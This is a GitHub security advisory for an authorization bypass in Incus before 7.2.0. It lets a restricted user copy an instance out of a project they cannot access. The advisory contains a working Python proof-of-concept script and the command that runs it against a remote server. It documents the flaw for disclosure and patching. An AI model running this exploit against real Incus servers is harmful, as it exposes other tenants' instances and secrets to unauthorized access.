GitHub Advisoryadvisory · Go
GHSA-c9f5-j9c3-mhrg Incus has a project restriction bypass in instance copy across projects
HIGH
Official page ↗
- Aliases
- CVE-2026-55622
- Ecosystem
- Go
- Packages
- github.com/lxc/incus/v7/cmd/incusd
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- Weaknesses
- CWE-284
- Reviewed
- 2026-08-28
Affected packages
• Go github.com/lxc/incus/v7/cmd/incusd: < 7.2.0 → fixed in 7.2.0
Description
Summary
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
Details
`cmd/incusd/instances.go` authorizes `POST /1.0/instances` against the target project. In the copy path, `cmd/incusd/instances_post.go` then loads the source instance from `req.Source.Project` without checking whether the caller can view that source instance.
The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
PoC
Setup
Assumes the target server is remotely accessible and a user/certificate has been added.
```
create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret
restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
> set, for example
restricted: true
projects:
• default
verification, with the restricted certificate
incus ls remote:
```
Exploitation
The below script was partly generated. To copy the `secret` instance to the `default` project, the following command can be used.
```
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-instance secret --name copy-secret --insecure
```
Wait a bit for the instance to be copied, then `incus ls remote:` to see the copied instance.
```
!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())
```
Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
Related
Alias · CVE (1)
- CVE-2026-55622 Incus is a system container and virtual machine manager. vulnerability
Weakness · CWE (1)
- CWE-284 Improper Access Control weakness
References
- https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg web
- https://nvd.nist.gov/vuln/detail/CVE-2026-55622 advisory
- https://github.com/lxc/incus/pull/3542 web
- https://github.com/lxc/incus/commit/1e3ffc53a10950e55de62ac1e0d612be597b84eb web
- https://discuss.linuxcontainers.org/t/incus-7-2-has-been-released/26879 web
- https://github.com/lxc/incus package
- https://github.com/lxc/incus/releases/tag/v7.2.0 web